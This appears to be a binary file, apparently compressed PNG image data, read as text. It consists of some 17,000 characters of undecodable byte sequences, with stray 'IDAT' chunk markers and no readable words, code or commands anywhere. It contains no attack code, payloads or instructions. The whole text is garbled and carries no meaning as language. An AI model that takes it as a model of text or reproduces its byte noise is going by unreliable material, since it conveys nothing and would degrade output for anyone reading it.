Jtr�G�8����7�}���?<<���lf��}�\ߙ9e8��~���Qg�¾D�2��#����O�=}[�g�����E�µ�aZ��O�y�R/��!I�"'��a���c��p�-�Iؑ�/b�D���Q�G�▃Ke��v>�B�.*b�e��Tj���ȥ�6�W����'�����D܃���D�
V:rI�@H4��4�(�N��Y{J��a�e�����P�|�:��g���*����ѝ���@*)�?l����L��\A�S L^��5��H��F��7�MgRo~6ez����d��*Lkɘ���`FIɬd�%����4*łو8��tZ9�뒤욌o"Z�TL���g��L����K�G7�Q{��h{�}@Aw�?�Iٛή�:�\�}W=[��(���yИܧ
�F�^�)���0ՆA���+���$��qJj�?����u���&��C�y.q<�>��k>/J�sD�
�\L�غ��{.�/�0��K�NG���V���Q���LC������-*ǏҚ�\SRچ��U�3o�_~\��M�>����c�8w�E�U��1�ʼn~�e�<�����c�4~�z� {G�'��u!p�5�p9��@@
p�Ш%�/��q�x��f4�r7�!|��J�h�q�2�⮈_�̍�t�گeD1���kiF��/Wg�����W����
0��Օ�o�c@
ܗB�}y[�E����"@ĸ5�i����x������惬fD[�Xj�K��+ud�Fg�4�������0d���@�����as8ZE��F�t�]%!�'hXaMU�m\��M��͍^i�/
�4�V�'�ʭT��i>�j,u��D�����0G�p ?Z��>�B��"�H
乂�b���F\��߬�Ȅ�m��Z̪���S�;��ȇ��Ǎxr1F#G�m
<��kd.�$1�A�!�/��QA7�ѩl`urum����SW�_�\��N7'e�5r���4�^�tδю�T*PZ!�2�m����
�i�C��%W
�K蒠n��Ei����1�%�it/�r�yEf�n���j��ݿ��
����KY��ݶ �kq%)�`���p����eڛb-��"�?�^ILI���"���*���T����>�����^�ޅ;��o�3�Z+��P��Ɖ��I�0E�q"h��*�01D�t%"��˷k�1"b��Lu�z�k�Ϲ�"$���q��P�(�M��RÉ�e\ʜ�n`R��OZ�ə���x\�����jmIeQ}Q�E��$,Y���&��f�+��#��/�(�l>�V����f���û|њ�0ӫx�~J��ʁ�-z�E��b�iY:�,���N��1����{����4�6l�F��Kn5��F��Y�&�a'���i���W~�C#"xI6)Tל�o1j�व�����f�����4��=e���]A��c�`x4���]��5��հ$3��*�����9P-�%!�z�w����S�R�/s���Kܫx6{R�S�-Z%.% �,�(���W���\���g:�'=37^�����>�#�9����Eq�;Gd�E��4�H)��H*���4=�ߎWވ,��Dtg߯��Ϭ,H(�R�nhHq�τ2�hc�и�Kɏ�8������e�k
�ۃ��G���yR�ߊb0*/r%F4����Mjp�Aٔ�`�T�8�0���hDw�H['��{���=�*.���v�ݞ���"�w/ޕpN��@@
pW(F�V��Z��so��l������%��jWu�II���XV��0�� n�*��K"Z���7�@�+�\B���Bs���h}u�O1R�_���[��NY����P���@�A�2�?�����Yʠe��/kGβ�#7�ܥ�%1d����d1S,���Y�5��5ӕ�H��h}z��O��GS��#�hf�1�u<�%{������P��4@FkX�$�u�l�
=jў\X����'�.^<�Tf6��:&��M�zs<3��G�i�\�R���E�#����ҏ�46��v���}��ti�EY���|�*�ePb��zO�����,��{�
�٫-SJ/.J*��<�HQ���]a�2Lr�*uq[#I�m�3%<�����=���^�`|�1��ܺ��6�
���O��$]z���Y]�y�n^;�H
���$K%���N-�bSR�"�K n���eqǰ�eE�TV4�����$O*��#�����o�\E\[G\�@$:I
Y�`�1��2�#��
�&����[�y�u[�����'�%P�p��4T�
��
fcDY���6�!댙Ng��Z��6g����6GMڌ�X"�E,oH�����K;:���)�c�'kE�'�9s]".[�l�Ռ�G�?.���@͊ZVA�)��g^���c�@%j`5Y�U(��*P��u��<���}�5�"F(���Ȑ�G��]_��>U����,OF�G
C��������5���U�"dB�jKvs�ϔ���q�^Į���\ �h�'i]�}���4�.f��
��J�k��3W��jo�h�Ia��r�v�I�7ߙ�Z�W��<G-���)0�is}Qǫȯ��$4z�[��[58%<'q9�J;��z�������w�u�p=��@@�#0y����~]��2�r���p�Hs��9*Q�^��z��N2hEEz���qF�>���~�?ad�;��2���
_�;�@XI��p�/����K�ўja��~���~��r��fv�Z��Q�ި�ِzY�iWuE�Eo}'K�8R%�a�P�+�P}��J�/��ο��Z�� ޭ�e8׀@@
�lQ�������Ne��.�VY��K]U��� &"�o�)�(
E��e�)�E�+��Mte�>vy���>y����]��bj�#Z�!^�X�p�+٤
mP�4i�݈`&2d�:X��������.����Q�3�m�@�v�H�(�DY��i�qZI� P��c����$�e�O(��U���&��!M���
��r�𣏕��%�]ڗ���ݬD���
R�d���BI�Ru��mqjS����t�Q�3 ��oNǻ���ÿ��O��_T0�cd��u7km�|�����8�g�96O?[�9!����A���KK�Ƅ��k�s�5\6�V�)&6�e�D
��qu�]�ZIj��1���Y��Qk��Dl�]H�jmt�]T�HS`�H���v+l����ܖ�ࠉ�r$ �W�NDxS�tZt��]Aw����6W&���NksZ坺2��YU�U����V�
�*�Z��,"A���iX��2�xCe7�"sp-ԭ
2�k����`��ɶ�e��t��6oG9�`۴+�*=��{Q(E_W�t���jO�+��Ʉ+�_D� a}����DV+ۨ�N��x�M���00���ۑ�3�6u���W4��Փ��ТB��ۜj=�}�pe���:�� }�*qR=���q��V�H�8D˦��Z�{)6�u����.�w������՜$�A�.P,f�E�e|� q�Wq��n\��:�
��
�L����@@ ����܃Qd0���
���-����8,���j#��+&���,������}���9���&�a>���M�#
�a6�u�U8Ӏ@@
�KPB1�ŽX}�鷞{�7��F��t���ĕ�\|\2�Xm�'Ĺ�8��Z,-��d5*虳r��l9�?��j!{�,O�d��-U�0�k��@@�!�z�6��dig�^Xe����Ac�K.��U��>��P�OkJ�3��F.�>rI�����?����|�ܔص!��1��
�_ p�sS
�\���H;��L�3�?�w��ݥX{ֈ��̴w3���%7\�1�%j���K;�> �lM�#œ�
��(�K�=/H
uXF���M�Ca���ĵD����3��&<(ӭ���S��۞�ds��JB���dh*��h��֑n�f#�y������+?�b��V�����|�ν��+���U:O�yo��as�8�sDd
�67�dV�,�m*��&n�F�����j���DS�'������*F�MT�]���;@�LHZ@����oz;?gw'�c��,���=Y.�#`�Ы��W�7�h7�Vs���2��X����kVF+H���y�a:�l6*�q$PR��m�r�O.�50cd�X�P�3ב��s�g�w��Ujv^���1�'*Ѧ�A.l��Dd$O|/�I��W���m_�������O�'O�Ru��= ������]9�B���S�'^�+ֳ��F��*�jE<�@��ʩ���,
K�B��u�yy����<��q�y'�X��%�PE��ͮf̹�#r_�~�v��R�tb�w88Y*����|��(�*�pe�]��x{G),�W�t�_��'](��_�y�9w���������{��3�*ÄjW��~1J��w�ߗb�!�C
���x���&�j�������~
���f.2�z���
����B �n��8��@@
p�#`��j�x�.?�����6�|m���W�lDY��q���(�Uky�������T���z
�:�2��^]�����}|���@@ p�
�Oj Mo��Ƽ�=߇9K�L_�lT�K����I��22ճk ��Ħz��{瑃O�7���1&k�ׁ��@L��T�1�Zc)V�rtg��'ϼ�ؙ���ꮍ"�S�5BW���q�9Ӕf�
�W�-�쒌�2���~,��8�=U�/eӽ�d��LW�%"�v%�S��[��8h��'��}��[܋bՃ���@�j���1��팰ǿ�����ݿ��+l��V�8e8��é7�`�������4�&$�i���Y&:`����S�Zʓ���Ď����>��2F��
�-ظ��u���Ox�
�<Rw#��vm�[��l��/T愷f�E���:�N�Ԡ;UtWG�ݘ��ʎ���Nsu��ǍNca�����ս�1��`+�3��7N*��#I:�:��A~�8���rY�x/�W��'��"B�
�W��J��$��-}2\_M��+�H�nK��p�7����C�R��P,��6�
�mA����Id��{l��a�G?��X�p$
N��H���:���ҙ�R�),�Ԇ�T[�[Εe<���ֲ\[�
����v1����G]�"�c���ߜ�1s��V0��TyĬ���1��P� )�
_�2��hH����h���NNR\UZ���]�'�-Q��C�8W�Hj�F�m(�e��c|_�Hj�d�J�<N�
"4i��-
�����,�(,aK�qo�^Z���t��f�ٓ;��������
��&[aw�w"|. �:����`8��@@
��Xke�Sg�����w��g���k��*�Vu�xf5�V���C�R���s�����R�\�-+�|2�'ԋ�>�^*����_7�@A�*,-�ڗW���O� G�r�cE�/��XNIL��m��,2i�&�xZ[�g/��kO}�g����*�+��Q��UA���X�f\�\}ha�ܯ?����r���&r��`Q��H��l&�54�G�>z#�_����b��R��
-8G��[i��]�$�y�=���Ƅ8oE�q��>*��W���Um��[��冒䰒�u#���O���u�w��FNm�>S(��ę_����^��ݜ�Fq�����#yS�,j�����;921{
��s�G/�2��J��ũSwd�|v����'ͥ1����5�|c'V�țG�����~�[ɺ 3���^R��0��
��!�Dg+鴮�q��� �D3�R��r�g�&ԑʕ�,�y�Iz�L7d�Z*ӕ���4_�����D�r�*��� l�ۭ;�s�mϾr1e���8e�Z�>� ���*Yw�&s1���,2=�J��gO�a��P<��m����^�����jT�-���'�uT�p�)S��@�:�2/�[�<�,��H��@�%����5�tL��Juf�^k��iN��#Ygs̤�*W���0)t7�[�X&#(.�������a�M
IDAT!��ρ�l�W�2�x�)�s�p�P�&Օ��|_���>�Bя��N;
�[
�Aᅏ�q�r~�����yɸ���\7���z�������<�����T�:[}λ��b8߀@@
��B�ݿ���@@`"���{�<������߸���+�h`��V�y)%ĝ"��)pdnq4G�MVK8�\ZTs�x�̥�h�/d��[�p���@@`["P*}�D)����R-hҿõ��"R}&����*�x~��/=��?�=�Ч ��v��rS�)�E�k��/j�Y3X����鋿z���O���.�V�;k#=j���s�-��'��Kd+���v�P%�DxŠ��\>zHIp{J��IkO����$�RҺ@�J���¶
�JyŐ�
T��F���������S�:}ؤr�5�|�헚�^���mڙ��rl�Fw^Dmbc���H�
�jtr`=�|��o�)�=�-zn���]��v��Y>T��1�H�[U���˳ؼ�'k-Z\8wT��.i�7Y]XS��5R��YeW)�ų�,prݧ`ܔ:^"��E�rQ���䓜��?�`�g]�$�W����o��,�JZ?��B=��E��R|��J%¢m9+OT��w
&�A�*���m�l��b�����ɓ����j��Q��"�R`"8��r
̕r�ò��6�/rXv��0���¿��#��^��I��w�+��.������zTBׅV#:*�?Sa�'�{E,��%�ӂ��I��ˋ<��RY�����}
l ��َ�-
����k��P���mɩF@3 �c#���{}���P}��<|@�y�E�_�@��������@@`"ƵКL��~��S�μ�kg.}��l�����'-rp���TE���,��hZ�jX�"ﻨ�n���e�&�^nQ�*��mG���@@`�
�豏HFξ�
q禩T���֛�A�E��3ѱi�lC�<���}�đǏMc�l���q���:�g��AO�_��03��s��?���G�/}�P.��u�ٓ����J:/"�)J�J09M3&(ij`T�b�a��$6"���t��O�s�����9�����m`_� ��\�s"|�ŅE$T���L7��Թ�������&�0�z[�
~�y�����@M�¶wC�Lc
����)�<(l�;�V
P��E�Z�ٯ���4G�����:��+s�˻ۛ+{L�]�rD�l��ޤEw��Tr���`4���3�h�&a5?IX+�A<2����ʐ���I�L�
�xI[A�!"��J8�)�7���1���E2^��JK�BU���}k5G�"�8�-$c�9E$��J'-)��=͓Mū��:�`����ܕ��������XB4҄���Z6��h̤/p̰��\/�1�I`4�V�jyo�7�^w4om̤��=W�x@��in:c��M�Н�mw$�=�u�5e-�[��儀�T��i~�rp��{Rࡽ,�g*g�}D��v��P�)��jv�l��@@�.#@sZCt̗NR0H
��$C��!9��h^O��崶���/��~䅷��O��*cNJ6l��@@
ؖlϕ�my��E����D�ZwЙ�ĥ�����ڿ}��������IH(Ñ"C0'eI��y�`�g����<;��@����\�`&qvla������`�s
!#p)�KS�9��ēʳ� ��A�*yM��f]��h�|����h�K'�93�L4�����PZmtvm���˟|���5ӥ��l�����E
�J�RZ4'#�qpN�GE6�N�%�1ɐ�"A�G�xZ�v�ngǺ= �.!�TmQ&��<����2���z�$�.Q��v�F%]Ӫ�����g�������@�s�uLIY���s�H
w�W�o�8E�+ �:�|�3ӛ���X\���L�veg�}eNek
kZ#\t'zӕF�1�B
0&�d�E�o��*��q�pڑ���Z�/���`��^�#�l[>���dOj;�f�]�`��UЫ���ܵ2j?ή����,�l$Z��
.*+�X�X��Ϯ�&w/bt�<f����6����*0� 4�����x��:������8�K�j���{�����nMפ�)L:�Ռɹ뛥#26B@h��Q�e����8�+����-�p4aߒC�J�Z
Ȥ��0�I����X��"akm
#�Z�FGG�k��zl%��Fx���C_c�f/1ƺw�d���@@�E
����N+
�&>9ޙ�}��GϾ��_?3���C��;���Hϴ�L3N��*��[L��T��!y�<-���_h
�Wx�B%E�%u��ߚ-#�u@
���" C�7Z�$
MIqR�b���c��g�*k��&�x�����7s�
��U1��.��T$^�:�@gץޅ�N�}��ӗ>8�ڙ?`�g
+�������"�
R<�$7��a���'�{�uj$k]�[ؤ�[8��!�M�+.��
%���BN
l�[���@��3���H�/=؉3��_|�����:�#���/E�P����
��8T>��6V���坽��K�O쩈|��Һd�q�����i)�3)C�2M�R��o�.!�*7���ҕHD��r�$���ưm/���)d#�7�9�ֈHaP��&Cn�Ո��5����Օ�<Z�O�Y���1>��<j�W�G����*0��o�k�ŀ$�Vzc@: ՝���]���ϟ>~�b;;�gc֞�l�!L'b��(�����r$äVHA.�P�w���bEo�Nq)F��B��6�-
M}�H@�M��eb��*��l:���i��
k���ܓ��z�ko`��/��S`�s���_�\@
J!.���@@
�ȶj��]��'�:�f��Q-�s<���E\N6^䧡�B��[>�C�mӜ*m�.�j�is�m�_n��C���mA�,.�BX�4�'XK��0**2��%�Mz��Ͼv`�w&0w��ɍ�rJᠷkm����6�]��_����.��>�+ٌ�yͰ<�l.�H�M
�:�d*wv�4Ɠ4����U���MB��� q>�F�;5��QM�z����"dY�ZR��*�;�vd�}�ȃ_��w��5���ۘ�؊�5nW��Dw��$Z��b�͵w�K���E"OX�j@���!�Ʌ��[�Ɋ��q�)��:�E��jU�Q��l�q��m�#i"��bd���H%U
fD�&���29I�'�Ȥ�V��UՍ��c~j��q>{�C�<
Y_�*�����-��zo����
@o
W��K�<�\:�ޜ?��
Ky�d��+��ny���,��Tu6��ӰNݟ�r/��P�x��%|.
<T�%59�h�J#8�y��81<��զِ�/�y���π��E
���@@ |�@��"
���zg�+��Ko���=7����n(�Cn{�1W#2�A��-�U��8���+��We\���Ƴ��[��vT�z�B6V�X�D5j`�:��m�����~����C#O����t�=��w��T#iba�R���N���/����h���T[��B�<��XK�O�,q�W�����ۓG�8C��
u8FJz�Z.
�PV�R����F=A�*��:z�'���<���=8@�pAf���%��@����8����R����m<��<�r�\~.�\z���F�7+�nի�'k�lZ��<�#��5��AJ ��n��iE_~�y�A�SiE�XK6�Vk�������x��;��D��F&����ܼ�BL���_ |Z�j{/�ν�r�ﴗϾ0��N�l�am%1GL��(m`
s
d[K��[�S�b�v��bH�6��@@
\��ZH!�*,��^Դ��>�;���w?�'��/{Ҡw=������vD
��]�w�>^�jCBϵ�p�^{����6/�����d���3��6RG�H��i�^��!�b�{���@@`�
ଲDR��� �1&��κ:;Y���k�ǟ��*��^
�l�{���)����X�[�᷏��g��dD�����m���L�ǵRe��}�|F*q� �,١y4�o;nD��%��!�
Y�:�F�pYt{)j��
6�=��w���?��)8��nG��5w��`C�XK��jF*r�n�`�����v�/�ӝթFŌ�5�M:!�$�!�Н�
)���k�v�
@+@��3�j�]�M#�Icǂ�ϾW?��ΝE��
��5`� @��W����c4H7&a�v�ӿy~}�ċ�+G���Q��I��\��B$Eb�ْǩ���ld�NqKd�1@���@@
p��$��[�Yds[[Qr����_��^~
������~ݰ����6D
��M�w�_i��s��O�����������1��W�x��A����j"��k�G+�a�{w1|s@
�1(�MF�VsS�ޫ�m�����ķ�zb�D��Y
D��^߫H�6�h��a��{'�؉�x����J�+��Q�M/3��&|��~r�{�Ro�Q(�T�N%����r�a����P)G�G�1�c�f����_M`�cS�����Q���ߍ��h�^�(r=��I�)�}6��r~Os��~���UYk*b�Yn��ª
7�B�ߍ� a���N�W�&�
�;��g<7����}��πx��1�b��5���j/���<h���G���b�Q��-M��U�}��fDd
�m��o�M � �7��(o��ZO�2����G���6F��
h\&6Ø�MC�̀@@
�)��J�Mav���M#P(TS,��}���G��|���3����R�h�b�4sjpd��a�U���JC��9������;�����P�B�2�^��ȓ�J����ڳ*���o�݄7��{ѳ�6zV�����i�ۼSu���yX<n�.�Y�@hrO��1ȬD�ݼ�l�_z��C��;��UL.��+�o1�Ǝ&�ե�;v��GW���8;dD:b��)Fd/7~��P"�
���6�b̧��(^�Eۼ�4�;�U���7�8��$
�U���}g�'߹�x�r��5E,��RsX���C�\Ws��lW�W���/f0�A
�m��N1 �
��F�"
tG��N�4琯L`��lw��K{�6�$���j�[�p(p�9�&�Md��J2��Y�$�ܸRj�:��A�ҏe��x�a�����k�R|O?��7��kX�������
��r�z'����O���s�rD+N�<d1`�x_q?0�jD�0��D�"j欲�E����OG�<�f����qc�Y)��bn��qd�;�^>�]x���㏣{�p���ĺ7)�Y��C���>�>�d�ȷs��;<�p��T�y��=\y@
�5|�0�ű��>���e�iWGA��f8~(��场��w����}�\���Ս�{�09�̛���!0rس�(oM�G ��@
�m���2
�aha����Ʈ�Zg��<���?:��c���d�=ee^3"��9�Oƅ��\� s�5�ѰL��� (�?�SŴ����g�3hM
3��ގ�۲�����h���:��k&�"o�&�E��m�pu���}"!l��@@�#��y�;b�w��V�w:�>a��S��@.1���d�h-�T)p�8�1�Q�F;{K�c
D��e�K�d6�Q��q��_~�G�~uJ�z���e�X~DZ_xO
@1@��
�\�<��O~�g����fbs7��z%z*cQ$�a�!�ApNmXºvɽ& ��"��[0-�{/�ĩ}F�/����(����tN!�����K�"�FA&��r��O��=��'S)Fc�lf�<BD��6G���+ԗ-��Q5>��\��O~��?��9y=�Mo입��;��W�:�� t���,V�<�q��K��ys��v#����t&*\ nrn��2*f�@�R�5@�$��A�s�q��ȕA�.�!UrQȞ�j�I<�8"X9��6�e���KzS��u�;�i?�t6ע?��᥌�`>!\&��D��/B��%_6���Am�{OkҾ<�) GC�ٶW-��>��e�k�1�^̸��C�� 0�nN�w
�
�<��A4�ڪ���������}��~����2��b�n7�cQؐ+Sh]:��g���y�]z4��v��F�5�$�Gq�u�0�C�&a,��9����e�#�O��E�(� �'7}���m�@?`Z�Q�/6/��Y7�����s�z�N�k�e�A��Q
RJ�3���s�yڐ�9�
&E0"�=�UW�&��.����٧�M�v���� 0�V�۴����B
̦n
��s@
n-�wy<�恏�αS�~}��𰎺�Z�U�2N)"�uӔQR<NbHAi�pD�ӔS�i=g�Q�`�C��%ҥH<]�e5<1�M¯�M.q���'�т>M�)�>
�����{{�!�9�s
�W���(���/A�=ϔ`��%feA.3��}
!�$�pX���%8sE�Uz�2pJn¢V���i�g^%���fǎ���y�+�l�����G�=�Mb���-�D�KX�q��9��᯿�ѫ���v�ᓼb�N���d��4�s���y1P��IA0(�̽�j�P�ꯪJ����%!n@���B7N�X���]���ώ��rQ�F�WPaI%��F�c��
b��
� 3#��J���~�����{4--
le�c���@���3�|s'V��N?�]���M�G��Vm֩�̅%�
�%R�gڑ���4�hn'8,g�Gv�n\1�s]��3"�q�ƫ^��o�HZ�Jū>��*B\�H�Kp��
��U�J]1���Re�'�-º�{Z._�^�_D����9"yiw��
�yB��GWd�+��v�tN�C�it���I Υ#����O�Z���Lf��g���̬��x诪{{c��!�\&;�9vT��!<�u��ta7�>zn��/��Y=�R��31�*�TD�2�������<��%1�Q�]H���Bߗ�U���.<�J@
�2:RL�
�cxY,�_�.�$��^�W�,�ϩ}�Y�N�r����~dS�q$��R(C�w��+�tVڌC��4�m%L�jOœ+�ٽ����`磿���n
�m�N4
�A!��)���@@`{#�U!W�Z��&���G��|�[��L���>�4�*O��B��w���Dr�(r$
�s7AgN��nO
FnF��Ŀx/�����Sh$ܲ��`. o4�Uu�d���~�k
}ŗ�����#\}@
pS\���#�q���W�l��S>�(��Y\(tY�$�p�LgH�p�A��ӛ�*;���p��FP����������΅∸$��>���7��/���<�\TKw)ًTd��$���R�)���uj��
�5R���q�~�
o���0���(P˥Mj1^{u�b�/��o��7�8�O��J�e�@g"ҽp*<�
���5,�V�B�P?#����,z��������'9������
�j�%
�scDY�ā+�'H�'�ww�ҹ��K���?)Us�º�\�F��ƌ�,Ihn�:M2Fc���8�kr7�t��7��Zh����%�Ɨ�(��c�P��s�yb�qE ���,O��T]e�ڟ���K_�u�eU7B�+��]2�"�L���]Y4Vڕ�ҋS�Q0�\3h�x�������M��Vm
IDATDw0�Yb��蘱���c��O�%��9F�K@�����a$6�{�2~K�X��Տ^�Aw���X�WE�3�ZL�#��0X�)rALk:�pJ�Զ����+�L��'�-
�����H�ڵ�߽r-�����)I!�T�+�م��#�
�}F��,-�^吂#�X*�T�S��2BWAwM����������x�ϰ��[@c�K�Z3�_힇O��@@�Z!.���@@
��������}�����<�Y������VU�Ȳ(�X�,�92T�N/o�Bi�L�>9>LW+�i���K��j��CU�א�V��z�ϻ�z���{7�pj��"
��o��XC�e�w�4�������m
2��io9�1��Z����o���;����0��jU�m��uVZ���ك\��g?:��7�f��n���d��0`�D"�DXH����y�<)�6N6ld�K�3��KBCiu��K5s�$���n4%O�r�*�U����1��Y��k���U���<U��k�&E��v��:S���i�Lt���w��c��#���Ƿ�Y�#�
^=`iYw��,6vb����Ӈuo}7g�i���Kg�8gL�)L�yۮ��F�7�7��#Q;ގS4!�'V_K�+ImkmӀ,G)h"��Z,WH��
��/P����'�}�v#ۍ���2YZF��Gd8G��2qN�pW�FdmK�ڑ�c07'�z!8d��\�^7狼>�Q}��/�=���S�M����c؍�뻻�/n\E���?xz���/��gX��h,M�#�U�
f�2����T@�DQo�
�3
��B��{w÷[�a2�5��~U���0O�+c�P�H��^�N�,>��9Zg��&�V�w��
U:����(_t
�U,ҩ�VM2��·ދ�>�K�<�h�<�{=Pn���9
�U!�^�3���@@
0�@QuwѝԞM,�;v��O���H3[~���]�>�y�&.�+�'u�Ƣ��fqs}K�3QQ�_����?R�l���Hh!�ZT�����6-ܖ��ԁ��) ut�b:"%n8��F@
�1�rVa�Of�����p�t�����UN-�l�2C�c2��#a��U;���L��~���v~�*&�h���ݷ���X�N�6��+G?����?<���J4�ru�b5�:ξ�2�F��[a���s��aZB�^���\MY�w�2_p����TO�5�����_a�$��R�(�u��4�`bb͍5D��G��rM���}�11�p۵ӄ�ls�9clԁl�9����+;�K���V�L�W�btv�Xw�ʳ��d������/��9gЂ�J�⬢x���D�aN��Yw0#ݻS�+?GJW��͋y�;X)tWڧ�w���UcN)Oz��P���Md��ۚN1�.��D�v
^N)��
�Lpr�E���G$#��E�jDx�n)���W.��'�=sB�>�>j���-����G'��J`iݍX�����7^���$���u�����`"FR�#���ň�l���-����U�ۏ�_�*��eI�/���]�
?�i�(�
��e��a�y;�S�z9�D��K����u��J=i�ؔE��[��]�����<��ۨ���E����!l��@@
�B!���;�@a�Z�ac�ܳ��|t���~|�7z�{d
�����P�1�/\�N7�Ap�<�|¡o�z��_�4Ga�ZZ��J�R����8ʠx�o�S&ܧ�����
ȝ@,|G@
�xB\�8�Qb�+gy[���T.�Iݲj�Ӆ
�����m�FCƱS��YfX&�u���5��k�?�� �{������Z��"`�MRl>���z��^8q��ϥ|�(odS=ە�1L���b>-���ْ��_J�+��K���)~ѿn\��U���E�((��b���|����CM�}H{Tdl�vr�nν������Gq�qO(�Q���ު�@
�g(��b��V��n�Eoi�Y9p������vWЛ��|�I;c&�9a*�-�����J���ʂ�BB�
�Q�WQЀ�P�(هiW0Uj�y�T��$�2�\�?L���%�/��.�8��\��T��j�('��w�,�N�����V�2�m\_k��dr�ɩ�^��O�=y��%�0n�3�斞)�� �������kg�x��.<:�t�"�*�ʐk
)���"tQ��
��u����������=�@9&��_���8�)��9�'���h�a8��^�_@^�y�wG�+cWP����V+��gxw���ј;��ȳ�O�9�1����x3(����)�`@
la�Ljp���@@
(T*]�N���}�y�s��;��{��]W�;�xV��J�PVsc���yUq㣴�)8m~ٟV������X�p��ʦ���W��
Bi�Fd9�<q�L��{�ނ�F{B\aye�2���LR�� ���[�&#�^�:ˋ$��b���d�'����}�j`�Y�X��]]��퀀��)�{�{��yj���M���U�Z;kΈ�@�^��$�
H�W'T?�
P�Jb��t�)�翛<�E����$_aX��O(����Ϯ�ݴ)9b��5�{+�7����r�~�Hۡ'�knO�[H9��;�|u�Y:{h���W�+�Ǧ9%t�!L{4f*����hn5�q�B��B��S���mTK�]RJ�e��zrD�����@ym���U�KB\i�J�,�7r��>z�7�
�]}
_A��1���Dt�7�63¤J�7�,������O|�/1������D�*07s;�о��qy����'^�ns����+�[7:J�L�ȑ�;I��/��o�����p���@@�#0p<8����*ob��y�Sc���'Ϲ�5���&���5BԺ-]Yc\�:�̫���Hv�����7�p��@@
�M��mr��e����@�/��'m����<���^Zk/�XoҌA(�X�9k�!3��
��y���Z`��.$PZ�x{��VV�y�8"���$Ee�`a{ܛp����=�%o�iQ����VI��+'��Ñ#ĉ"q�_>E��q$�siV1�-�x��_�l��7d��s���������|��?��/m|����q
%���q�|��A���Dkĩ���}<����Ä�aeY���� ��}"�Ȫ�Ag��A�E���=َ��_����e
_����_�§����F�(���
zjk���|�k����aZK{"��S5iT�:'�
"��+c$�^�*�s�O+担Z��n��\M�.Ⳓ��VIU�������gwk�%�ۏY^��%gPZ�
-+���v.F�'v������C��7�a۶����I̿�B������7�q:�m.}���
A4�>!���@�۶�&\x@
pp_�]�j_�xR)ߖu�e�$��>�`�E��8�y+6"�;�k��+��І�Be�1q�ƞG�
f�)��e�Vtw4��A
�n��O@
�a�
$m,�Xt'�����>~��ŏ���|nWZ�L�XM
����&'#0n��j�sp�IB ���?�r�r�6zw9�p����D.!�P@���á}8���ҢC����F�%_�%��ڂ�pd=��2��"kFC$a��&3�Za�֩t'��o��ţ��v~��pw��nӯ��؛��e����[��G�~�'���esV���H0h��K�ӈ�il��M�w�N�Ck
��(����'!���7G�+-����.�
�RDn#c=]��R�Af�tn�@���x�F6�U%�c=���?������h,��6����F��t�\,�
ۜF�ʮ|��GV��y���ّQtv��9�Y>�Ės�B穣[G2�R5I89]7F&��{"]��#�8"�G��m�
B�'Ĺ�m�h�汤�Z�G�(D��X��KzS�(Y�∬�m��������]O�V9�웘��P]f(>d��|����R�j��s��t��a/?��=��
)0� OSHd����Ch+�Z�vJ��1�im�{�1
��8�MZ��ּ �
���fi�7�D�瑳<���*�"�wgM��n�j�)N�b�u�yU���m�겊'>�x��F�<���= L\�[4kEw�
�o����C��@@
����KU
�袳'Ek���ӻ?��x��g���,�j�ٔ2ݚ�J��Q?\��S(����ܢ�K�k`�J �(��r�J�%XDa��ny���"ר^^e�L�XO��R�G�n�4�{��;R�UI4�1%:�Z%���^��~|d��7bL����=����Z[����M\|�'��K�WO���֓Z�5�����h��i��*��-�S;��?��D��o}����p�8K���'���3��D��T�O�2�Ѧ���Ҝ������q%��K3#s�~���{���Q'2�Љ��<\a@
��x�rhN"ߜCos�=�]>whcy��I7v�D�#aٸ�i´B$c�3>7TfE�*��w���h�L#�翗����4&�5�qj?,-XI��������n�6
�yrxI��,�{n�2B�����3h����SY��ɩ]���CϽ���#[ƃ*��i[������'�o}�����N��҇�w�*ϑ�D�H�Z�aƅOT��_e����S��0�U��x��6MN��O�F�gE
��_k�?�5�Ю�B�I ˹S�%r?�0��^��%%F��&�}:����y�jg=n��0W��w:<
;�w%!����=�@�W�3�!�1����g/.�:x���=k��f�L�S�1�x��%��̰�(N�r$O�sD�D�R�*�Hb>Ks��T�DA�singShL�On�S�� �{�qdA��j$�J� a9-
)�S�#{T��� Y���)�U��k�����'���*�Wc�`[@�
��}6�:h�d��g^{�Ͽ�����ݭ�Y����j9r�gϕQP*w�I�C�/�BHᵯw��8�(�@�o���� �\\`-Y[H&-����e��V�*�I4�0V�>�����9t���O�0w@+T�ߕ&�4
�&������|���K�讞�'ҥ��m��5-�G�8θ`�I�#�8cQ�D�QN���s�T�����|1��Ṹ�
���h�y{���q�G�R>M�#��H������6�����B�db��D�{���g�>�$��s�?眪�0yvfsvY@D�$�r�r�%KN�w���ھ�}�?��%�J�
(Y�@ �
!2ZX6�ٙ�ء��9�����]J��;3��~��f���U]�u�9���'���ɓ��b|fr�����^����]��?��T�˛SF�%���q��#��7��
�OvE�{������Yt5�1�|�8�C����=^��g�a���(&� �OQ��l6¬�(�%���k�<�E�[�hp��O�ҵ��ͨ,݂�g�@�ש��&Q����`
n^�6�4(@
P�78Pn`|��ڢI�O5�Vl����v��odOw�=qU�)�R�v�i�J�����Cm8k��|,��
��F�nF*����w ���n#U���l���O��WR���W��7�s$��z-��.'ex[�2i<�������o?��W_7�����@'��"P��O
L��ٷm���ෞ�+�
(��l�R�t� �)#�wB=�P{�@\�T�:��'��\��LQ.�GQ��<����h�S��TҼ�&lv%C�W-��U��_<�vk7����n,�PJɝ
.�(p��*)p���bd��cd�z7���}?>�����k*���<��:2FEڄ��R
�,�⤡jh��|�
��R˥�2٭��p
�ny?;ܾ�]\�>�9d�����̡��^�n�t
n�^~���U݆�
w#Y�S)%-ѸP���'h�[��/�|�k�N���+�-k4k���n�7��*
�ٮ�{l(�8~�P����N[�>O(��0�vr��o:|����A�ɵ��c��`�����^��CE�a�L=���о��w�Wl���6��h�u�b58��(@��'�����O�F�(@��&PT�A2�ɪG�������);�nݴc��3Ƨ�����<�,�W��JJ+�#����8N�Wn��J-�݄V8şa����*�Ynys������(qRwD�pR���+iy!-����4JQ���L�7�K�����d|�����V���Vog�9��;~Ť�H
���I�^~�]h���g61�4�T���+{弅|I(N��wC�c�����CO>��%Җ5��6������jĮk"��6�?��M�Ͻ}I�������?
,��l5��G6(@��$P����0]�F��{}���_R�y~lǗ��LO��e�r㣲r�K
�r��x�BIH'�6IhOZ�ɏɛ��/�9�0�S
ĵSnO<1R�p�h+.��e��-/=Ԣ����Q7�*��_���dݽ�>�Ժ�\�7\��)�
�ӫ&���y��+S벉�)�HI%ŢU���v(N�ͅ�+`�C��1ڙ�3N����y�"�뚰.
